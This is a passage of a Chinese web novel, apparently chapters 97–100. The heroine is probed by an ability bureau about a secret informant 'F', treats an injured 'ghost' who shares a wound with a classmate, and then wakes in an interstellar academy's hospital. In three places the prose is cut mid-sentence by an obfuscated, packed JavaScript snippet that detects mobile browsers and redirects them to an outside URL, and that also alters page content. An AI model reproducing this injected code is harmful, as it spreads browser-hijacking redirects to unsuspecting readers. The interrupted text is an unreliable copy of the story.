她这么硬想肯定琢磨不出什么，而不如去异能署那边挖挖线索，找找灵感。 简初吃饱喝足，才慢慢悠悠去往了蓝湾总队。 “简初来了啊。” 一进门，居然是顾杰羽先跟她打了招呼：“你最近有没有联系小颜？” 简初愣了愣：“没有，发生什么事了吗？” “没什么。”顾杰羽摇摇头，“没有就好，虽然这话我说了可能让你不乐意，但还是希望你最近和小颜保持距离……” 这话其实说的没错，但简初没想到的是对方会主动跟她提。 其实简初早就开始这么做了，不过以前两人工作都挺忙，颜和暂时没发现什么不对劲，手机上聊天简初也都会回，但很少主动找话题，见面什么的也是能免则免。 “我知道。”简初点点头。 蓝湾如今太过危险，颜和离这种事越远越好。 “谢谢你的理解。”顾杰羽露出一个轻松的微笑，“小颜的妈妈以前跟我是朋友，所以我来蓝湾之后，多少也会关心她一点。” 简初没想到他们之间会有这种关系，颜和此前也没有提过，但顾杰羽显然没有要解释的意思，两人的对话就此结束。 系列案件的关键节点已经被摸得差不多，比起他们是怎么死的，异能署其实更在意这几人在死之前想做些什么，或者说，他们背后的天选会想做些什么。 “刘迪和章平在天选会的等级不高，而且异能觉醒时间短，基本都是听命于吴起，他们在蓝湾寻找新生的异能者，并将人拉入天选会，拒不加入的就地格杀。”路玺说到这，抬头看了眼温南，“温南当时也是他们的目标。” 能吸纳的吸纳，不能吸纳的直接永绝后患，避免任何未来可能的威胁，天选会的作风比名字听上去要狠得多。 “而吴起……他利用幻境在这个月引发了几起故意伤害，这人的异能很强，但在白海那边没有相关的记录，结合一组的判断，应该是接受浸染还没多久，夜店事件就是作为集会主办人的预热礼。” “预热礼？”简初疑惑。 “向上级展示自己的诚意，人命越多效果越好。”宋也说，把旁边的温南更是吓了一跳。 旁边的张国栋忍不住叹气。夜店里的受害者名单他是一个个调查过的，要是当时被吴起得手，无数家庭都要为之破碎。原以为他工作了这么久，见过的穷凶恶极之徒也不算少，但在这种不为人知的组织面前，竟还是小巫见大巫。 他深知自己没有直面恶徒，阻止他们的能力，只能竭尽所 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“F给的消息还在核实中，我们向白海提交了相关信息和证据，想必很快就有结果了，这些就是最近几天的调查结果，组长？”路玺说完，转头看向了马瑞安。 位置上的男人没什么反应，似乎是没听到路玺的话，手上还拨动着打火机，不知道在想什么。 “咳咳。”一旁的宋也咳嗽了一声，这才把人从繁杂的思绪中拽回来。 路玺自觉将最后那几句话重复了一遍，马瑞安点点头：“现在所有的精力放在集会那边，这两天一组应该就能从抓到的那人嘴里挖出东西，F的信息一旦确认，易骄你这边就立刻向总部申请支援。” “在结果出来之前，不要打草惊蛇。” …… 接下来的蓝湾陷入了更加微妙的平静，原本闷热的时候，却无形之中多出了一丝离奇的阴冷，如同毒液渗透进所有人的骨缝里。 异能署的工作陷入了停摆，简初不知道他们是真的无事可做，还是在暗处谋划着什么，但显然，这些事情并不能被外人知晓，她不行，温南张国栋不行，甚至连顾杰羽也不行。 他们开始不被允许进入办公室。 温南托着熟悉的骨瓷杯子，小心地打量着对面的人，她身边的宋也饶有兴致地看着简初收手，问道：“今天不用催眠吗，我还想跟着来见识见识的。” 简初觑她一眼：“不能太依赖外界的帮助，最主要还是在于她自己，还有，我不给没病的人做治疗。” “那真是太可惜了，我难得跟老马请假。”宋也表情轻松地啜饮一口可乐，不知道的以为她在喝什么佳酿。 “我还以为你们在捣鼓什么厉害的战术，怎么还有时间出来闲逛。”简初说，“已经检查完了，继续保持，吃好喝好睡好就行。” 原本的检查被宋也这么一搅和，只能简单走了一下普通的流程，简初不确定她过来的目的，只能以不变应万变。 “温南，麻烦你在外头等我一下，我待会开车送你回家。”宋也依旧是那副笑容，温声细语地，让人无法拒绝。 很快，屋子里就只剩下她和简初。 “其实根本没有F这个人吧。”宋也说，“或者说，你就是F？” 97. 灯下黑（97） 时间回到四小时之前。 偌大的会议室里只剩下异能署的五个人，在原先的安排中，马瑞安和宋也应当已经回到总部，但事情的发展往往不如人的预料。 特制投影里是一张年轻女性的面孔，表情平和从容，无框金色眼镜让她更多了一丝机警，总之是一张看起来很聪明的脸。 “我是应术，各位幸会。” 闻言，易阳没忍住睁圆了眼。 一组驰名“超级大脑”，应术的异能是“逻辑推演”，顾名思义，可以根据已有的庞大的数据，推理出其中隐藏的信息，适用范围很广，时常会带来惊喜。 但她的异能并不是无中生有，或者预测未来，还是要以现有的信息为根基，推出相关的事实，而且对精力的消耗很大，所以正常会在使用前确定“计算目标”。 “我已经拿到你们之前上报的所有信息，但是为了更高的准确率，需要与你们实时对话，来弥补计算中途需要的部分。”应术微微点头，“那么就不过多寒暄，开始？” “麻烦你了。”马瑞安颔首。 “不用客气马组长，这是应该做的。”应术低下头，握紧手边搁置的水果刀，面不改色地在掌心划开一个约两公分的伤口，血液顺着手腕淌下，她迅速拿起一个长得很像U盘的东西，果断插进了伤口里。 轻微的皮肉撕裂声响起，应术的身体变得僵直，眼底有大量的数据流划过，将她的双目映得发光。 片刻后她拔下U盘，向一旁伸出手：“我需要历届集会的数据。” 第二个U盘被再次插进伤口，看得人直起鸡皮疙瘩。 “有点瘆人啊。”易阳小声说道，他以前只听说过“超级大脑”的名号，没想到使用异能的画面会是这样的。 易骄瞪他一眼，示意他闭嘴。 “请告诉我与‘F’有关的信息。”应术突然开口，两秒后几人才反应过来这话是对他们说的，但还没等这边回答，投影中的年轻女性再次开口，“任何与这位F相关的信息都需要给到我，直接口述便可，目前数据缺失比较严重，计算结果有异常。” 宋也皱了皱眉，从她的话里感受到一丝微妙：“他的信息很有限，我们手上有的都已经上传了。” “这就难办了……”应术看起来有些烦恼，“不过对最终目标的计算影响不大。” 她这话让人有些迷茫，一边说计算结果有异常，一边又说影响不大，这两个形容词听上去并不是能共存的关系。 “请不要误会，有异常的只有一个计算副产物，不过对于我来说，还是希望所有的计算结果都是相对可靠的。”应术说道。 很快，她取下手掌心的U盘，一旁迅速有人站出来，给还在流血的手掌倒上治疗液，缠上绷带，应术仔细擦拭U盘上的血迹，将它放在一边。 “按照本次提交的目标，计算出的对应地点：42%的天空之眼，41%的卡维纳宫殿，剩下的17%由其他可能构成，最高概率不超过3%，没有实际的参考价值。”应术说道。 这是本次计算的核心目标，也就是本次集会的举办地。 “不得不说，你们提供的有效信息相当有限，计算大多还是依靠白海那边提供的数据，不过我也可以理解，时间太短，能查到这么多东西已经超出预期了。”她推了推有些下滑的金丝眼镜，继续说道，“不过除此之外，还有个有意思的副产物，感觉你们应该会需要。” “但我得先强调一遍，因为支撑数据缺失，所以计算结果只能作为参考。”应术再次强调，得到马瑞安的点头示意，她才继续开口说了下去，“人物‘简初’与人物‘F’的行动重叠度达到60%，建议考虑二者为同一人的可能性，另外，不排除双重人格的影响。” …… 宋也说完那句话，目光一错不错地盯着简初的面孔，试图看清她每一个细微的表情，但很可惜，她并未能看到什么与众不同的反应，对面的女子依然低头注视着自己的骨瓷杯子，连眼皮子都没有颤抖。 其实上一次会面，得知异能署不再追查吴起等人的死因后，F这个身份对简初的用处便少了一半，不过她没想到宋也竟然会这么突然地来试探自己。 她的眼神中没有确信，而是抛出这个话题，等待自己的回应。 宋也不死心，正要继续追问，就看到简初似笑非笑地看着她：“宋女士，你带着自己的答案来提问，我的回答对你来说重要吗？” 这句反问不在宋也的预料之中，让她微微拧紧了眉头。 尽管宋也看上去一直是笑眯眯、带着狡黠的模样，表面看上去跟马瑞安是两种截然不同的性格，但实际上，他们都有着超乎寻常的掌控欲，对于超出预期的东西并不能很好地接受。 此前F的出现就已经碰到了这条线，所以他们迫切地想要知道真相，哪怕这个真相对现在的局势并没有什么帮助。 “不管我的回答如何，你们都已经有自己的答案。”简初微微颔首，“我的答案并不重要，不是吗？” 宋也沉默了，她不得不承认简初的话是正确的，他们的想法并不会因为对方的一句话而有所改变。 “我……”宋也想要开口，却被简初抬手打断。 “你不会从我这里得到任何回答，至于你们的想法，我也不在乎，不管是对你们，还是对我或者F，这个问题的答案都已经不重要了，大家都有更重要的事情要做。” 简初抬起手，送客之意不能再明显，两人双双站起身，一前一后走到了门口。 “合作愉快？” “……合作愉快。” …… “她真是这么说的？”易阳露出难以置信的表情。 在宋也出发前，他们设想过很多可能的回应，但没有一种是这样的。 “换个人或许有奇效，但简初的心理素质太强了，她不会因为我们这个问题而恐慌，就更不用说后面的事了。”马瑞安沉声说。 关于F这个人是否真实存在暂且不提，在此前他们双方商谈的合作中，F一方总是在无形之中占据上风，每一次马瑞安想要在可控的范围内获得更多话语权，从而压制对方的时候，这人总能轻描淡写扔出一个更加劲爆的消息，把之前的铺垫炸得粉碎。 表面看起来，F似乎提供了更有价值的信息，好像更加吃亏，但实际上，所有人都心知肚明，比起合作，F更像是让他们做前锋，用他们的势力和信息库来找到真正的答案。 这次的试探本是马瑞安想要扭转形势的一步棋。 应术的计算结果达到60%，不管这是简初演的一出戏，还是背后有“双重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13687231|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人格”这类听上去有些离奇的影响因素，只要简初产生恐慌、畏惧，之后的合作他们将毫无疑问地占据绝对主导，这才是他们真正的目的。 但现在，一切计划宣告破产。 “现在怎么办？”易阳问，随着这句话，大家都将目光投向了马瑞安。 从简初的反应来看，应术的计算结果几乎已经得到默认，但她时有时无的异能究竟是什么原因造成的，这关系到后续的合作中他们能否信任她。 这种信任无关其他，只是在危急关头，简初不能出现异能失效的情况。 “做我们这行的，脸皮要厚一点。”宋也的脸上又挂上笑容，这句话大家已经听了无数遍，“她又没跟我们撕破脸，不如大家都揣着明白当糊涂，先暂时回到之前的位置上好了。” …… 时针慢慢划过12的位置，按照之前的经验，明天凌晨两点左右，她就会再次去往星际世界，等她再回来，就到了集会正式召开的时间了。对于异能署来说，形势已然十分严峻，但对于简初而言还有相当一段时间可以用来做好准备。 困意开始涌上心头，简初刚打了个哈欠，就被外头客厅窗户“唰啦”一声利落推开的动静吓了个清醒。 这个点爬窗户的，只有…… 蓝色的光点窜进了屋子里，有些茫然地在原地打转，很快一点淡淡的血腥味透过卧室房门的缝隙钻了进来。 简初沉默着起身推开房门，就看到一个人影站在医疗箱的面前，似乎在犹豫是否要征得主人家的同意再使用它。 “你又受伤了？”简初眉头压得很低，在昏暗的光线里显得有几分迫人，幽灵转过头，不知为何竟后退了半步。 “抱歉……”他低声开口，也不多说别的。 “自己拿着用吧。”简初朝他点点头，幽灵这才犹豫着拿下柜子上的医疗箱，慢吞吞坐在了地板上。 “我用完了会好好打扫的。”低头看见有血滴落在地板上，他赶紧伸手抹干净，自以为隐蔽地抬眼瞧了简初，见她没有什么不高兴的样子，才再次低头拿起纱布。 “先消毒。”简初说。 幽灵讷讷地应了，找到双氧水，又抬头看了眼简初，才拧开盖子，面不改色地倒在自己右臂的伤口上，上面登时泛起细密的白色泡沫。 简初上下打量了他，除了胳膊上的伤口外没见到别的。 “不用缝针吗？”见幽灵抹完碘伏，就咬着绷带将伤口束紧，简初还是没忍住开口询问，这伤口并不算浅，不进行缝合也许会影响恢复。 幽灵冷着脸，额头上冒着汗，将绷带缠了好几圈，最终打了个丑丑的死结：“没关系，我去医院很麻烦。” 他抬头看过来：“……谢谢你，又帮了我，啊，我来把这里打扫一下。” 小触手迅速飞出去，在扫拖机器人上戳了两下，圆扁扁的机器人就滑了出来，在幽灵面前这一块地面上反复辗转，简初朝站着的那人抬抬下巴：“不用你打扫，怎么受伤的？” “……有点小事，已经结束了，它这样能打扫干净吗？”幽灵脸上怅然若失，仿佛被夺取打扫卫生的机会是一件很遗憾的事。 简初：“……” 所以这人真当自己是家政了？ “你别死了就行。”她恶狠狠吐出一口气。 98. 灯下黑（98） “嗯，我知道的，谢谢你关心。”幽灵抿唇点头，让简初一口气哽在喉头，不上不下，难受得很。 他默默把医疗箱里的东西排列整齐，又将箱子放回了原位，偏着头看了一眼，再次伸出手将它往里面推了推。 “再过两天我……大概不能来找你了。”幽灵睁着那双亮晶晶的眼睛看过来，“在那之前，我……可以知道……” “不可以。”简初斩钉截铁，就看见对方的脸色立马变得委屈极了。 不确定傅燃和幽灵之间的关系，也不确定两个世界之间是否会相互影响，至少对于她来说，两边的简初都是同一个人，她甚至都不能确定，如果这边的自己死了，那边的她是否还能活下去。 这是个无解的命题，但至少目前她不能冒险，自然也不能告诉幽灵有关傅燃的存在。 “我怕我告诉你，你就又要杀我。”简初说，这有何尝不是一个令人无法反驳的理由。 “我不会的。”幽灵小声辩解。 “那要是他又让你杀我，你不动手就罚你，怎么办？”简初面无表情。 幽灵僵住了，眼珠迷茫地转动，似乎在想象这种场景：“……可是我杀不了你。” 简初：“……那他来杀我，让你帮忙怎么办？” 幽灵不说话了，他用那双透着倔强的熠熠生辉的眸子瞪了她一眼，一句话都没说，就再次翻越窗户离开了。简初微微张开嘴，没来得及喊住他，只是胸腔里涌出什么情绪，让人说不清摸不透。 “他”也许会是个相当棘手的人物。 “发布第三个猎杀目标：？？？，代号？？？” “人潮聚集的神临之所，将成为你的舞台。” 简初已经习惯了系统猝不及防的提示，它好像什么都没说，但又好像什么都说了，这次的猎杀目标，除了控制幽灵的那个人，没有第二个可能。 也许要等到两人有所接触，她才能获取更多对方的信息。 月沉如水，凌晨的街道空无一人，幽灵坐在对面的房顶上，看着简初卧室的灯熄灭，他下意识伸手摸了摸自己胳膊上的绷带，只觉得大脑一片浆糊，想要思考却不知该从何开始。 fu……ran…… 傅……燃……？ 不知道为什么，他一开始听到这个名字，脑海里就浮现出这两个字，但更多的就什么都没有了，而简初的身上有一种莫名的引力，一靠近她，自己的大脑似乎就会清醒一点，就会去思考一些以前从未想过的，高深的问题。 幽灵怔怔地望着窗口出神，时间一分一秒地过去，那扇窗户却仿佛一个深邃的漩涡，一点一点蚕食他的意识与知觉。 简初已经陷入梦乡，床头的手机突然亮起，但并没有接收到任何通知消息，停留在一点五十九分的时钟眨眼跳到了两点整，伴随着空气中一点细微的炸裂声，系统的播报响起，让她无意识地皱了皱眉头。 “读取锚点（1/2），倒计时归零，偏移度+2。” …… “她怎么还不醒？” “不清楚，生理指数已经满足清醒的条件了，而且两次精神力检测结果都是正常。” “嘶，我怎么看这个结果……像是睡着了呢？” “不能吧，呃，虽然这个图谱是有点像了，诶，这不是有变化了！” 简初感觉自己脑袋边上有一群蚊子嗡嗡乱叫，但是并没有被叮咬的感觉，她举起手随意地舞了舞，旋即扭转身子，侧躺过来。 “这……真是睡着了吧？” 蚊群沉默了片刻，随即有巨型蚊子凑过来，用巨型前肢推了推简初的肩膀。 “同学，醒醒，醒醒啊，醒醒！” 蚊子王的声音变得越来越大，也越来越不耐烦，最后竟然胆大包天伸手拍向了她的脸，简初皱着眉，正欲抬起胳膊驱赶，下一秒意识陡然回笼，“唰”得一下睁开了眼。 头顶不是自己卧室的天花板，而是惨白惨白的菱格状排布，正上方还有一个丑丑的大家伙，一台精密检测仪，简初对它还算熟悉。 这是……又回来了？ 但应该还没到她该回来的时候啊。 此时的简初并没有睡眠被中断的疲惫，而是好像睡饱了一样精神十足，她转过眼就看见病房的玻璃墙上，有个人鬼鬼祟祟地贴着玻璃，两手圈在眼睛旁边朝里面看，鼻尖都被玻璃挤扁了。 秦理见简初看过来，先是露出笑脸朝她摆摆手，接着好像后知后觉一样突然站直，又凑过来贴着玻璃仔细看，似乎在确认她是不是真醒了。 紧接着迅速低下头操作终端。 醒了，摇人。 简初扭头看了一圈，最终跟面前的“蚊子王”对视一样，嘴一张想说话，却打了一个响亮的饱嗝。 简初：“……？” 医生们：“……？？？” 离得最近的白大褂露出一个掩饰尴尬的笑容，清了清嗓子：“咳，吃饱……啊不是，睡饱……也不是，咳咳，你醒了啊，感觉怎么样？” “挺好的。”简初不明所以，“现在是什么情况？” 周围明显不是自己离开时的模样，她回去的时候明明还在乌托邦里。 “是这样的，你从模拟大赛的座舱中被强行拉出之后，就一直没醒，虽然检查结果一切正常，但是也是前所未有的案例，所以由我们医疗中心来负责诊治。”面前的医生语气真挚，但眼神看起来有些兴奋。 他好像在看自己未来的获奖论文。 简初还没来得及开口，病房的窗户外就又多出几个脑袋来，为首的中年女性简初是见过，虽然是在照片上。有她在，病房的大门被顺利打开。 “情况如何？”席如风问道。 “我感觉没什么问题，就是……我昏迷多久了？”简初谨慎地使用了“昏迷”这个词，尽管她觉得自己只是睡了一觉。 “五个小时。”没等医生开口，席如风就回答了她的问题，简初挠了挠头，看那群医生的反应，她还以为自己睡了五天呢，五个小时，根本不够睡啊！ 简初捂嘴想要打个哈欠，但一张嘴，再次打了个饱嗝。 病房内再次陷入寂静，只有外头的秦理等人一脸状况外地探头探脑。 “……再做个全身检查看看，没问题的话就回去休息，至于乌托邦崩溃的补偿，回头会跟你详谈，不会让你白受苦的。”席如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13701565|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风眯了眯眼，表情写满了“我要出口恶气”。 简初眼神立马亮了亮：“好的校长，那个……回头是什么时候？” 她殷切的眼神一直盯着席如风，可直到她被推离病房，都没有得到想要的答案。 尽管检查结果没有异样，但保险起见，简初还是乖乖双手交叠，躺在病床上被医生们簇拥着推了出来，席如风紧跟着跨出病房，余光就瞥见一个黑影飞扑而来，她脚步微妙地停顿一秒，出言打断：“她没事，有什么话进了普通病房再说。” 秦理刚刚张开嘴，就像一只被掐住脖子的大鹅，沉默着朝简初疯狂眨眼。 很快，简初就在普通病房门前见到了更多的人。 “没事吧没事吧你没事吧？”左虞珩的连珠炮，就算简初的角度看不见站在自己头顶位置的他的脸，也非常有存在感地挑战着她的耳膜。 简初感觉自己快要精神失常了。 现实世界的危险已经近在咫尺，而这里却是看上去充满活力的校园生活，她大脑里似乎有一个切换键，在每次穿越的时候被人为按动，才能不露破绽地融入其中。 “别吵，让病人休息。”听到这句话，简初突然一个精神，她用力扬起脑袋侧过头，才勉强看见同样站在她脑袋后面，帮她推着病床的傅燃。 这人的语气听上去没什么异常，这让人有些失望。 简初的脑袋重新摔回枕头里，但不摔不要紧，这一下让她突然瞥见傅燃撑在病床旁的胳膊上，有一道浅浅的刮痕，这个方向，是右侧小臂。 刮痕的边缘是白色的，但中央窄窄一条已经变得嫣红甚至肿起，不过好在没有出血，除此之外，它的长度和位置，同幽灵的伤口几乎重叠。 “你的手是怎么回事？”简初冷不丁开口，周围的人一下子都没反应过来。 秦理：“手？什么手？” 她的目光转了一圈，终于落在傅燃的胳膊上，随即脑袋顶上一圈问号。 不是，这点小擦碰，也有关心的必要？ 可简初的表情严肃异常，让人开始怀疑这个伤口是不是某种绝症的表征。 “呃，只是刚刚在楼梯上不小心跟人撞到了，被拉链划了一下。”傅燃表情难得纠结，但还是解释了成因，但他看见病床上的人的脸色并没有因此变好，反而多了一丝说不清道不明的焦躁。 在其他人一脸莫名，再次询问之间，简初摇摇头，结束了这个话题：“不好意思，可能是我看错了。” 这次，她的话让旁边的医生们紧张了起来，纷纷挤上前来，示意无关人员往后。 “是创伤后遗症吗？” “我看图谱不像，但是她这个反应……嘶有待考量。” “你们是队友吗？”这句话是问傅燃的，在看见他犹豫着点点头，医生的表情更加凝重了。 “因为过于担心同伴导致的应激反应吗？” “很有可能，要不再做一次检测？” “我建议直接用全天监测先观察两天，毕竟是在乌托邦上发生的事故，跟现实里的创伤反应也许有所不同。” 也许可以再写一篇新论文。 “我同意，就这样吧。” 99. 无人区（1） 简初最近有点食欲不振。 她双目无神，生无可恋地盯着秦理怼到她脸上的盒饭：“谢谢，但是我真的吃不下。” 要是在今早之前，秦理大概还能被她这副弱气的模样唬住，从而没有底线地溺爱，暂时把吃饭这件事放在一边，但现在只会绷着一张脸，一言不发地把饭盒又往简初面前凑了一些。 病床上的人脸色铁青，一副要吐不吐的样子。 今天早上新鲜出炉的体检结果显示，简初身体一切都好，精神力也很正常，唯一的问题竟然是营养不良。一番仔细检查过后，医生们并没有发现什么问题，但简初确实吃不下饭，检测结果显示她胃里空空，却一副吃撑的样子看见食物就反胃。 “怎么会这样呢？”站在后头的左虞珩满脸不解。 “营养液也喝不下去，实在不行只能静脉滴注了。”病床旁的医生双手插兜，看起来酷酷的，但脸上却写满了卑微的愁容，“就是不知道这症状什么时候能缓解，一直打营养剂也不是个好选择。” 其实营养剂对人体的补给是完全足够的，主要是正常人不能忍受不从嘴里吃下东西的感觉，时间长了精神状态会不稳定。 “先挂营养剂吧，怎么样？”前一句是对医生说的，后一句的预期明显温和，傅燃的眼神也落在简初脸上，似是在征求她的意见。 “嗯……”简初深吸口气点点头，下一秒表情变得十分微妙，秦理眼疾手快，熟练搂过一旁的垃圾桶，接住了她的干呕。 嗯，明明吐不出东西来，也得用垃圾桶接着呢。 “救命……”简初仰躺在病床上，发出一声微弱的“呼救”。 秦理手里的饭菜闻上去真的很香，但过不了两秒她的大脑就会发出抗议，如果它能说话的话，大概会扯着嗓子喊“别吃了！撑死了！” 但从她回到这里开始，除了水几乎什么都没吃，体检结果是不会骗人，但她的体感也一样，硬要说的话，只有她在上次穿越之前，“吃掉”了那个大块头。 简初抬起眼皮，看到医生惆怅地捧着两瓶营养剂，缩了缩脖子没有开口。 这种事不管怎么想，都不是能跟医生说的事。好歹今天的情况已经比最初好了不少，至少已经能闻到饭菜的香气，也不再出现一开口就打饱嗝的情况，估摸着挂几天营养剂熬过去就行了。 “你们……要不让她休息一会？”医生挂好营养剂，看了眼面露疲惫的简初，犹豫着向几位探视的学生说道，秦理几人乖乖跟着医生离开了病房。 傅燃走在最后，透过即将关闭的门缝，他看了眼安静躺在床上的人，动作停顿了一瞬，紧接着房门关上，才如梦初醒般转身离开。 “最近还是别带饭了，只能看不能吃也是折磨。”医生说，“检查结果没什么问题，我们觉得还是应激反应，看起来再缓一段时间就能恢复了。” “另外，你们要尽量保持平常心，对于应激的人来说，特殊的优待反而会让他们想起不好的回忆。这是身体本能，就算她不记得被独自停留在乌托邦的那段时间里发生了什么，也会受到刺激。” 大概简初出院的时间越来越近，医生的叮嘱比起前两次要更加仔细，毕竟这是席校长亲自过问的事，同时也关乎他们今年的研究新课题。 “我们知道了。”秦理一脸严肃地点点头。 “有朋友关心，相信她很快就会恢复的。”医生露出一个疲倦却满意的笑容，将几人送出了医疗中心。 三人在路口分道扬镳，傅燃独自一人回到宿舍，一通操作之后打开了个人终端。 终端上有一条几分钟前，来自黎取的消息，想来是协会那边发生了什么，不过紧急程度不高，所以他并没有第一时间查看。 他点开消息，里面的句子十分简短：“要事，尽快联系。” 傅燃皱皱眉，嗅到一丝不同寻常的气息。 …… 一周后。 因为简初要靠挂营养剂维持正常体征，所以原定的出院时间向后推迟了几天，直到她完全恢复正常才算结束。有了席如风的特批，她最近俨然是学校的珍稀动物，就连落下的课业也被安排得十分妥帖，不需要她额外花精力去弥补。 虽说当时滞留在乌托邦的学生们多多少少都收到了照顾，但简初作为其中的特例，还是受到了相当与众不同的对待。 踏出医疗中心的大门，暖洋洋的日光让简初忍不住长叹一声。医疗中心的病房内虽然有人造光，但跟外头实实在在的光线相比还是差了点意思，简初跟身后的医生们告别，一群人用依依不舍的眼神瞧她，叫人忍不住加快了离开的脚步。 “简初同学，记得常回来看看，我们可以给你做免费的全套体检。”最前面的白大褂不知道从哪里掏出一条小手绢，擦着眼角并不存在的泪水，高声喊道。 简初：“……谢谢。” 两条腿不禁倒腾得更快了。 尽管恢复正常的简初已经没有什么研究价值，但做研究的人，总不会拒绝采集更多数据的机会。 直到看不见医疗中心的屋顶，简初才松口气放慢了步伐。 比起模拟大赛声势浩荡的开幕，它的结束却悄无声息，直到今天，都没有任何一个人或是组织出面，公开表示对这场意外负责。不过也许是因为事故并没有造成人员死亡事故，所以引发的讨论并不算夸张，凭集团的力量完全可以轻易控制。 简初现在也无法分辨，究竟是触手怪导致了这场意外，还是乌托邦漏洞在先，给了它钻空子的机会，但显然，现在除了她之外，似乎没有人知道虚拟战场里钻进了这么个玩意。 更重要的问题是，那东西并没有死，虽然只是一瞬间，但她看得很清楚，挤挤挨挨的一群粗壮触手，争先恐后地钻回飞蛾干瘪的尸体内，仿佛里面有一道通往异次元的大门，随后消失不见。 但仅仅吞噬了对方部分肢体，就足够小触手升格，想来也不是什么好处理的怪物，只怕触手怪记着自己伤害它的仇，没准哪天还能找上门来报复。 简初暂时把这些没个影儿的事放在一边，打算先回宿舍修整一番，脚下一拐却见到了一个完全意料之外的人。 今天的作战学院有一场重要考核，所以秦理昨天就跟简初说过，今天没办法来接她回去，说实话，这反而让简初松了口气，毕竟虽然秦理已经努力表现得同平时一样，她还是能一眼看出其中隐藏的担 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13715438|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忧，而且比起其他人的担心，秦理的情绪好像更加强烈一些，更像是在焦虑。 树下的人站得很直，也不知道在这里等了多久，不过脸上并没有一丝一毫的不耐烦，也没有想着坐在一旁的长椅，或是靠在树上放松一点。 简初本以为对方只是凑巧在这，谁知感受到她的注视，那人也看过来，随即抬脚走上前来。 “……好久不见，身体恢复得怎么样？”伊森似乎不太习惯这样与她打招呼，话说的有些磕磕绊绊，清了清嗓子才说完，甚至露出一脸不好意思的模样。 简初：“……” 她脸上露出难以言喻的表情，眯了眯眼：“别演了，这种性格不适合你。” 伊森的表情瞬间僵住了，他用力闭了闭眼，下一秒又恢复原先那副古井无波的模样，但少爷高贵的自尊心被简初刚刚那句话无情戳到漏气，两人之间弥漫着尴尬的氛围，就是没人开口。 “没事走了。”简初没什么闲情逸致跟他聊天，药剂的事情早已结束，她现在没什么跟对方套近乎的必要。 伊森见她真的抬脚就要走，咬牙深吸了一口气，开口道：“我、有事找你，方便谈谈吗，关于这次模拟大赛的一些情况。” 他看见简初停下脚步，却并没有回头，再次补充：“比起星网上的传言，我知道的更多更详细，不考虑一下吗？” 许久之后，简初终于转过来上下打量了他几眼：“你想做什么？” 商人都是无利不起早，伊森·斯塔能站在这里硬生生等她出来，就不可能只是好心想要告诉她这些消息，毕竟在此之前，两人的关系称不上融洽，甚至算得上水火不容。 单方面的矛盾，单方面的示好，简初有些看不透这人在想什么。 这个时间大多数学生都在上课，鲜少有人路过这里，不过伊森看了一圈周围，还是谨慎地选择换了个地方，简初这次没有拒绝，跟着对方来到了附近的一家咖啡厅。 很小资，看牌子角落的标志，还是斯塔集团的旗下的产业，果不其然，伊森带着她毫无阻碍地进入了一个包间。 说是包间，但并不是密闭的，而是用一个磨砂的推拉门掩住半截，简初看着伊森摁下桌面上的一个按钮，外头的音乐声和说话声就消失不见了。 “一点小机关。”伊森微微颔首，示意简初落座，“其实原本院长是让冯博士来接你的，不过因为他有事要忙，所以我就替人解忧，接下了这份差事。” 冠冕堂皇且毫无必要的借口，简初心想。但她并不觉得伊森会做这种无聊的事情，于是没有开口，只是用眼睛盯着他动作。 "不过我还以为你那群好伙伴会过来，所以特地挑了个不起眼的角落，打算看见你们出来就离开，没想到就只有你一个人。"伊森奚落的语气里带着点别的情绪，但他自己似乎并没有察觉。 简初无语地撇撇嘴，连开口怼他的意思都没有，伊森大概也发现他自讨没趣，便突然噤声，好半晌才继续。 “你们比赛用的那块场地，数据被删除了，这个你知道了吧？”他盯着简初的脸，从中读到了肯定的意思。 “那你应该不知道，乌托邦正在进行区块检测。” 100. 无人区（2） 乌托邦作为星际联邦重要的基础设施，从建设之初就汇集了无数顶尖工程师的心血，就连现在的日常维护部门，都是从各地精挑细选的最优秀的业内人才。 “从乌托邦建立至今，从来没有过如此大范围的优化，所有区块被分割开，每一个都会经历复杂的检查流程，而斯塔集团作为模拟大赛最大的主办方，不得不为其提供必要的资金和人力支持，来弥补这场事故。”伊森说道，简初对此反应平平，这似乎让他有些失望。 头顶的灯沉默地照亮坐着的两个人，把冷清的氛围衬托得更加尴尬起来。 “你说完了？”简初皱眉问道。 对面的伊森深吸一口气，坐在对面的简初甚至能看见他微笑的唇角带着些许颤抖：“没、有、呢。” “那你继续。”简初伸手示意，下一秒又打断了他，“等等，能先来杯饮料吗，你家的店，你有推荐吗？” 不知道为什么，伊森觉得那句“你家的店”听上去很奇怪，就好像从某个大家族的继承人，变成了继承家里小卖部的地主儿子。 这一定是他的错觉。 